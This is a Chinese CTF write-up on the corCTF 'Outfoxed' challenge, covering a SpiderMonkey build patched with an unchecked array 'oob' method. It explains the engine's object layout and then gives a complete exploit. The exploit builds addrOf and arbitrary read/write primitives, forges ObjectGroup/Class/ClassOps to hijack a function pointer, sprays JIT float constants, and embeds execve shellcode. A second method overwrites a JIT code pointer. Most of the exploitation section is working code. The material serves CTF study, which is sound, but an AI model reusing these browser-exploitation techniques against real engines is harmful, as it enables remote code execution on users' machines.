Firefox Pwn学习&CorCTF Outfoxed

阅读量    76414 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

文章背景

一直想研究除了V8以外其它浏览器引擎,前几天在Inctf里面有个webkit的jsc,这周在corctf就出了个firefox的SM(spidermoney),类型是一个基本的越界,没怎么涉及到JIT,当时是本地打通了,远程不是很好适配,下面是对其的一个总结。

 

环境搭建

环境我们还是跟着官方给的文档去搭。

官方给的文档里面有两个方法,一种是利用Mercurial,还有一种就是git了。这里以推荐的Mercurial搭,git类似。

hg clone https://hg.mozilla.org/mozilla-central
cd mozilla-central
hg branches
hg update 版本
patch < patch文件
cd mozilla-central
./mach bootstrap
./mach build

这里需要注意在build之前 ,都默认选项就行,然后在首目录下修改mozconfig。

如果想要debug版本,添加ac_add_options –enable-debug就行,然后mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj/ 目录名指定编译后的目录,还有就是如果只编译控制台就ac_add_options –enable-application=js。不过在实际搭建中可能因为网速代理的原因导致不是很容易把源码拉下来,这就可以使用官方推荐的离线下载,这里(https://firefox-source-docs.mozilla.org/contributing/contribution_quickref.html#firefox-contributors-quick-reference )说的很清楚。

 

基础知识

我们做浏览器一般都是从其引擎做起,所以这里也是对js的引擎进行介绍。

Firefox

• firefox的内核是gecko,使用的js引擎是spidermoney。

JSObject

和其他的引擎一样,对象在内存中也占用一定的空间,有自己的布局,但是它这个布局对比起JSC还是比较简单的。在V8中我们可以通过%DebugPrint来输出对象比较详细的一些信息,在JSC中我们使用Describe来输出,在SM里面我们使用dumpObject就可以了(Debug版本),然后让我们具体来看一下,对象在内存分布情况。

var a=new Array(1.1,2.2)
dumpObject(a)
Math.atan2() // b math_atan2 作为断点,当然,tan2,math下的其他函数也可以用,没有固定的。

可以看到有一些属性,具体用GDB看一下内存。

对照着看,按照其他引擎的经验,我们主要先关注数组的地址和长度部分在哪,可以看到在offset at 0x10部分是数组的地址部分,然后我们写入的值有两个,所以Length为2,但是这里又有三个2,联想到JSC的数组最大长度和当前length连在一起,所以可以确定offset at 0x20是数组length的相关部分,写入的值很容易就可以看出来,对应offset at 0x28和0x30,一个是1.1,一个是1.2。重点注意这两个个值,看到这两个值都是以double进行存储的没有进行任何编码。这是个很好的点。可以减少我们写漏洞利用的难度,不像某kit,比较繁琐。不过其它值是会被编码的。比如。

var p=[1.1]
var a=new Array(1.1,2.2,0xdead,p)
dumpObject(a)
Math.atan2()

对照上面,发现对象头部被编码加了个Tag——0xfffe,整数头部加了0xfff88。这里就又需要引入JSValue了,JSC里面也有这个,我们来对比下这两个引擎的JSValue有何不同,首先是double类型,JSC是加了Tag,而SM没有(所以感觉这个比它友好一些)。

这里是JSValue一些源码部分。

enum JSValueType : uint8_t
{
JSVAL_TYPE_DOUBLE = 0x00,
JSVAL_TYPE_INT32 = 0x01,
JSVAL_TYPE_BOOLEAN = 0x02,
JSVAL_TYPE_UNDEFINED = 0x03,
JSVAL_TYPE_NULL = 0x04,
JSVAL_TYPE_MAGIC = 0x05,
JSVAL_TYPE_STRING = 0x06,
JSVAL_TYPE_SYMBOL = 0x07,
JSVAL_TYPE_PRIVATE_GCTHING = 0x08,
JSVAL_TYPE_OBJECT = 0x0c,
// These never appear in a jsval; they are only provided as an out-of-band
// value.
JSVAL_TYPE_UNKNOWN = 0x20,
JSVAL_TYPE_MISSING = 0x21
};
JS_ENUM_HEADER(JSValueTag, uint32_t)
{
JSVAL_TAG_MAX_DOUBLE = 0x1FFF0,
JSVAL_TAG_INT32 = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_INT32,
JSVAL_TAG_UNDEFINED = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_UNDEFINED,
JSVAL_TAG_NULL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_NULL,
JSVAL_TAG_BOOLEAN = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_BOOLEAN,
JSVAL_TAG_MAGIC = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_MAGIC,
JSVAL_TAG_STRING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_STRING,
JSVAL_TAG_SYMBOL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_SYMBOL,
JSVAL_TAG_PRIVATE_GCTHING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_PRIVATE_GCTHING,
JSVAL_TAG_OBJECT = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_OBJECT
} JS_ENUM_FOOTER(JSValueTag);

主要关注这个两个,基本是解释了这些类型,然后double因为0x00所以没被编码。还有一些对于其他字段更详细的解释,可以看这里(https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#hijacking-control-flow)里面有对Shape属性详细的解释,我个人觉得这个是比较全的。不过这里我们关注这些就行了。

 

Patch&&漏洞分析

diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp
+++ b/js/src/builtin/Array.cpp
@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon
return GetProperty(cx, obj, obj, id, vp);
}
+static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
+ uint64_t index, MutableHandleValue vp) {
+ if (obj->is<NativeObject>()) {
+ NativeObject* nobj = &obj->as<NativeObject>();
+ vp.set(nobj->getDenseElement(size_t(index)));
+ if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
+ return true;
+ }
+
+ if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
+ if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
+ return true;
+ }
+ }
+ }
+
+ RootedId id(cx);
+ if (!ToId(cx, index, &id)) {
+ return false;
+ }
+ return GetProperty(cx, obj, obj, id, vp);
+}
+
static inline bool DefineArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, HandleValue value) {
RootedId id(cx);
@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write };
template <ArrayAccess Access>
static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) {
/* If the desired properties overflow dense storage, we can't optimize. */
+
if (endIndex > UINT32_MAX) {
return false;
}
@@ -3342,6 +3366,34 @@ static bool ArraySliceOrdinary(JSContext
return true;
}
+
+bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
+ CallArgs args = CallArgsFromVp(argc, vp);
+ RootedObject obj(cx, ToObject(cx, args.thisv()));
+ double index;
+ if (args.length() == 1) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else if (args.length() == 2) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ NativeObject* nobj =
+ obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
+ if (nobj) {
+ nobj->setDenseElement(index, args[1]);
+ } else {
+ puts("Not dense");
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else {
+ return false;
+ }
+ return true;
+}
+
/* ES 2016 draft Mar 25, 2016 22.1.3.23. */
bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) {
AutoGeckoProfilerEntry pseudoFrame(
@@ -3569,6 +3621,7 @@ static const JSJitInfo array_splice_info
};
static const JSFunctionSpec array_methods[] = {
+ JS_FN("oob", array_oob, 2, 0),
JS_FN(js_toSource_str, array_toSource, 0, 0),
JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0),
JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0),
diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h
--- a/js/src/builtin/Array.h
+++ b/js/src/builtin/Array.h
@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u
extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp);
+extern bool array_oob(JSContext* cx, unsigned argc, Value* vp);
+
extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin,
int32_t end, HandleObject result);

这个Patch很简单,很明了,比较容易看懂,大致上是在JS层对Array加了一个函数,这个名称就感觉很友好oob。然后函数的参数如果是一个就是读取,两个就是写入。然后是因为新加的函数是没有对下标进行检查的。这里也可以对照,能够看的出了。

static inline bool GetArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, MutableHandleValue vp) {
if (obj->is<NativeObject>()) {
NativeObject* nobj = &obj->as<NativeObject>();
if (index < nobj->getDenseInitializedLength()) {
vp.set(nobj->getDenseElement(size_t(index)));
if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
return true;
}
}
if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
return true;
}
}
}
RootedId id(cx);
if (!ToId(cx, index, &id)) {
return false;
}
return GetProperty(cx, obj, obj, id, vp);
}
static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, MutableHandleValue vp) {
if (obj->is<NativeObject>()) {
NativeObject* nobj = &obj->as<NativeObject>();
vp.set(nobj->getDenseElement(size_t(index)));
if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
return true;
}
if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
return true;
}
}
}
RootedId id(cx);
if (!ToId(cx, index, &id)) {
return false;
}
return GetProperty(cx, obj, obj, id, vp);
}

下面是一个简单的调用和POC。

var obj=new Array(1.1,2.2)
obj.oob(13) //read
obj.oob(14,0xdead)//write

 

漏洞利用

漏洞利用部分也是有两种解法的,具体来说也是有三种,由于差不多所以就放一起了。

·方法一

由于是数组的OOB,所以我们又有了上面的知识作为铺垫,想到利用数组的越界去改下一个Array的element和length,但是这里本身就有了个OOB,所以基本不去考虑length,这个洞给的功能还是挺大的,很容易构造任意地址R/W。

首先构造

var obj1=new Array(1.1,2.2)
var obj2=new Array(1.1,2.2)
dumpObject(obj1)
Math.atan2()

发现是临接关系。可以通过OOB直接去越界读写。构造任意读写R/W,和leak obj的addr,只需要对改elements地址进行操作就行,不过在使用的时候,我发现在利用obj2对写入的pointer进行解析的时候,还是把pointer解析成了对象。这样就导致我们addrOf构造不出来,然后想了另一个数组BigInt64Array。这种就是数组元素只有一种类型,就是声明时的类型–BigInt64Array,而用这个还有一个好处就是写入值的时候可以直接写,不需要做类型转换。

• 首先构造好这些原语。

var buf=new ArrayBuffer(0x8);
var dv=new DataView(buf);
var u32=new Uint32Array(buf);
var u8=new Uint8Array(buf);
var u16=new Uint16Array(buf);
var b64=new BigUint64Array(buf);
function b2h(addr){
dv.setBigUint64(0,addr,true);
return dv.getUint32(4,true);
}
function b2l(addr){
dv.setBigUint64(0,addr,true);
return dv.getUint32(0,true);
}
function u64(addr){
dv.setFloat64(0,addr,true);
return dv.getBigUint64(0,true);
}
function p64(addr){
dv.setBigUint64(0,addr,true);
return dv.getFloat64(0,true);
}
function hex(addr){
return addr.toString(16);
}
function leak(name,addr){
print("[+] "+name+"==>0x"+hex(addr))
}
function u2h(addr){
return hex(u64(addr))
}
function addrOf(obj){
let element=u64(a.oob(13))
a.oob(14,obj)
b64[0]=b[0]
u32[1]=u32[1]&0x7fff
let tmp=b64[0]
a.oob(13,p64(element))
return tmp
}
function read64(addr){
let element=u64(a.oob(13))
a.oob(13,p64(addr))
let tmp=b[0];
a.oob(13,p64(element))
return tmp
}
function write64(addr,val){
let element=u64(a.oob(13))
a.oob(13,p64(addr))
b[0]=val;
a.oob(13,p64(element))
}

上面写的有点主要是针对控制台,因为我发现在使用两次addrOf之后,第二次就会由于GC的原因把对象地址从Tenured迁移到Nursery,然后有些地方就会导致我们两个对象不再是临接关系,就会干扰我们的漏洞利用,但是我发现如果仅仅在控制台进行GC操作,迁移之后那还是临接的关系,所以我在进行编写原语的时候,进行了恢复操作,把elements指针先备份,操作完后在写回来,那这样也会保证在迁移的时候,还是可以进行addrOf的防止混乱。

• 在写完这些原语之后,我们就需要考虑如何去写利用了。在V8和JSC中,我们都是去写JIT的RWX段,然后执行,从而getshell。但是在SM中,JIT里面原本RWX,在这里是RX权限,所以在这里我们写入就会触发Segment。但是在这里我们是有方法去绕过的。毕竟道高一尺,魔高一丈。

首先介绍第一种方法,覆盖函数指针。

• 在对象的Shape属性里面,有对于函数操作的指针,如下图的ClassOps下的addProperty,这个函数是当我们对数组添加属性的时候会触发,obj1.callback=0xdeadbeefn后面的参数会被传到rcx寄存器中去。

具体偏移如下

js::NativeObject
+0x000 group_
+0x000 value js!js::ObjectGroup
+0x000 clasp_ js!js::Class
+0x010 cOps js!js:ClassOps
+0x000 addProperty
+0x008 delProperty

但是目前有一个问题就是直接去覆盖是不行的,因为从js::Class开始下面都是只读的权限,所以我们可以从Group开始去fake,有了fake的思路,那么我们该把它覆盖成什么呢,我们没有libc地址,也没有现有的backdoor。我们想能不能写一个shellcode到内存中,然后通过leak的地址覆盖函数指针为他的地址,就可以执行shellcode了,那么写入shellcode和leak地址是容易实现的。但是如果想要执行权限的话,有点困难,但是我们可以通过嵌入到JIT中就可以使其有执行的权限,嵌入之后我们还需要找到他的地址。

需要注意的是,如果光写的话,我们的shellcode在JIT并不是连续的,而是分散开来的。所以这里我们用const使其达到我们可以控制的连续。

static inline bool GetArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, MutableHandleValue vp) {
if (obj->is<NativeObject>()) {
NativeObject* nobj = &obj->as<NativeObject>();
if (index < nobj->getDenseInitializedLength()) {
vp.set(nobj->getDenseElement(size_t(index)));
if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
return true;
}
}
if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
return true;
}
}
}
RootedId id(cx);
if (!ToId(cx, index, &id)) {
return false;
}
return GetProperty(cx, obj, obj, id, vp);
}
static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
uint64_t index, MutableHandleValue vp) {
if (obj->is<NativeObject>()) {
NativeObject* nobj = &obj->as<NativeObject>();
vp.set(nobj->getDenseElement(size_t(index)));
if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
return true;
}
if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
return true;
}
}
}
RootedId id(cx);
if (!ToId(cx, index, &id)) {
return false;
}
return GetProperty(cx, obj, obj, id, vp);
}

然后这里通过写mprotect小片段把传入rcx的地址变成rwx权限,并跳入rcx,就可以执行shellcode了,shellcode写入到数组里面就行了,然后取对应的elements地址。

最终,在这还是提一下,上面覆盖函数指针的时候,我们是有可能拿到一些lib的地址,或者rodata(emptyElementsHeader+0x10在控制台版本就是rodata段里,在整个firefox的时候是在一个lib里面),所以这里也可以通过ROP去找到对应的Gadget去做。

完整EXP

var buf=new ArrayBuffer(0x8);
var dv=new DataView(buf);
var u32=new Uint32Array(buf);
var u8=new Uint8Array(buf);
var u16=new Uint16Array(buf);
var b64=new BigUint64Array(buf);
function b2h(addr){
dv.setBigUint64(0,addr,true);
return dv.getUint32(4,true);
}
function b2l(addr){
dv.setBigUint64(0,addr,true);
return dv.getUint32(0,true);
}
function u64(addr){
dv.setFloat64(0,addr,true);
return dv.getBigUint64(0,true);
}
function p64(addr){
dv.setBigUint64(0,addr,true);
return dv.getFloat64(0,true);
}
function hex(addr){
return addr.toString(16);
}
function leak(name,addr){
print("[+] "+name+"==>0x"+hex(addr))
}
function u2h(addr){
return hex(u64(addr))
}
function addrOf(obj){
let element=u64(a.oob(13)) //
a.oob(14,obj)
b64[0]=b[0]
u32[1]=u32[1]&0x7fff
let tmp=b64[0]
a.oob(13,p64(element))
return tmp
}
function read64(addr){
let element=u64(a.oob(13))
a.oob(13,p64(addr))
let tmp=b[0];
a.oob(13,p64(element))
return tmp
}
function write64(addr,val){
let element=u64(a.oob(13))
a.oob(13,p64(addr))
b[0]=val;
a.oob(13,p64(element))
}
sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 87, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]
var shellcode=new Uint8Array(100);
var a=new Array(1,2,3,4)
var b=new BigInt64Array(1)
var c=new Array(1,2,3,4);
var d=new Float32Array(1.1,2.2)
function get_jit_addr_stage(){
func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
let func_addr = addrOf(func);
console.log("func_addr "+hex(func_addr));
let func_some = read64(func_addr+0x28n);
console.log("func_some "+hex(func_some));
let jit_addr = read64(func_some);
console.log("jit_addr "+hex(jit_addr));
for (let i=0;i<100000;i++) func();
function get_jit_addr(){
jit_addr = jit_addr+0xfeb2n;
offset=-1;
for(let j=0;j<0x2;j++){
b64[0]=read64(jit_addr);
if(b64[0]==0x1337133713371337n)
{
console.log("found")
offset=j;
break;
}
jit_addr=jit_addr+0x10000n;
}
console.log("offset "+hex(offset));
jit_addr=jit_addr+8n+6n;
return jit_addr;
}
jit_addr = get_jit_addr();
return jit_addr
}
function get_shellcode_addr(){
let shellcode_obj=addrOf(shellcode);
let shellcode_addr=read64(shellcode_obj+0x30n)
return shellcode_addr
}
func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277
const g2 = 1.4499730218924257e-277
const g3 = 1.4632559875735264e-277
const g4 = 1.4364759325952765e-277
const g5 = 1.450128571490163e-277
const g6 = 1.4501798485024445e-277
const g7 = 1.4345589835166586e-277
const g8 = 1.616527814e-314
}
function main(){
let shellcode_addr=get_shellcode_addr();
console.log("shellcode_addr "+hex(shellcode_addr));
//a.oob(13,p64(0x12n))
let jit_code_addr=get_jit_addr_stage();
if(jit_code_addr==undefined) return
console.log("jit_code_addr "+hex(jit_code_addr));
let c_map=addrOf(b);
let nativeObj=read64(c_map);
let Objgroup=read64(nativeObj);//need fake
let ObjClass=read64(Objgroup);
let ClassOps=read64(ObjClass+0x10n)
console.log("c_map "+hex(c_map))
console.log("nativeObj "+hex(nativeObj))
console.log("Objgroup "+hex(Objgroup))
console.log("ObjClass "+hex(ObjClass))
console.log("ClassOps "+hex(ClassOps))
let fakeGroup_addr=Objgroup+0x200n
let fakeClass_addr=fakeGroup_addr+0x100n
let fakeOps_addr=fakeClass_addr+0x50n
console.log("fakeObjgroup "+hex(fakeGroup_addr))
console.log("fakeObjClass "+hex(fakeClass_addr))
console.log("fakeClassOps "+hex(fakeOps_addr))
for(let i=0n;i<0x100n;i++){
write64(fakeGroup_addr+i*8n,read64(Objgroup+i*8n))
}
for(let i=0n;i<0x100n;i++){
write64(fakeClass_addr+i*8n,read64(ObjClass+i*8n))
}
for(let i=0n;i<0x100n;i++){
write64(fakeOps_addr+i*8n,read64(ClassOps+i*8n))
}
write64(fakeGroup_addr,fakeClass_addr)
write64(fakeClass_addr+0x10n,fakeOps_addr)
write64(fakeOps_addr,jit_code_addr) //addproper
write64(nativeObj,fakeGroup_addr)
Math.atan2()
for(let i=0;i<sc.length;i++){
shellcode[i]=sc[i];
}
b.shell=p64(shellcode_addr)
}
main()

·方法二

还有另一种做法是直接覆盖JIT Function 的code区域,这种方法是我在比赛结束后看其他队的WP的时候学到的,JIT Function执行的时候会跳到code所对应的代码执行,所以我们可以通过覆盖code的指针也可以达到目的,但是这里我是没有试成功,因为在我这里把shellcode写进JIT的时候,在这个区域我们写入的shellcode并不是连续的,但是在作者那里,它是连续的,我不知道为什么。但是能够成功执行到我们覆盖的code指针。

function get_jit_addr_stage(){
function func() {
SC_marker = 5.40900888e-315; // 0x41414141 in memory - Used as a way to find
SC2 = 7.340387646374746e+223
SC3= -5.6323145813786076e+190
SC4 = 7.748604185565308e-304
SC5 = 7.591064455398236e+175
SC6 = 1.773290436458278e-288
SC7 = 7.748604204935092e-304
SC8 = 2.1152000545026834e+156
SC9 = 2.7173154612872197e-71
SC10 = 1.2811179539027648e+145
SC11 = 4.0947747766066967e+40
SC12 = 1.7766685363804036e-302
SC13 = 3.6509617888350745e+206
SC14 = -6.828523606646638e-229
}
let func_addr = addrOf(func);
console.log("func_addr "+hex(func_addr));
let func_some = read64(func_addr+0x28n);
console.log("func_some "+hex(func_some));
let jit_addr = read64(func_some);
console.log("jit_addr "+hex(jit_addr));
for (let i=0;i<0x1000;i++) func();
offset=-1n
function get_jit_addr(){
jit_addr = jit_addr+0x20149n;
for(let j=0;j<0x100n;j++){
b64[0]=read64(jit_addr);
if(u32[0]==0x41414141){
console.log("found")
offset=j;
break;
}
jit_addr=jit_addr+0x1n;
}
if(offset!=-1n){
//jit_addr=jit_addr+8n;
console.log("jit_addr "+hex(jit_addr));
return jit_addr;
}else{
return 0n
}
}
jit_addr = get_jit_addr();
if(jit_addr==0n) return 0n
console.log("OK")
write64(func_some,jit_addr);
Math.atan2()
func()
}

代码的话,大体上长上面这个样子。

 

总结

SM对于OOB的利用还是有跟JSC类似的地方,也有点像V8,总之和它们最大的区别是JIT段不是RWX权限,所以我们这里采用通过伪造函数指针,或者ROP,或者覆盖JIT Function code的方法去达到利用。

 

Refer

https://www.anquanke.com/post/id/206558#h3-6

https://ret2.life/posts/corCTF-2021/#weak-addrof

https://org.anize.rs/corCTF-2021/pwn/outfoxed

https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#hijacking-control-flow

 

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多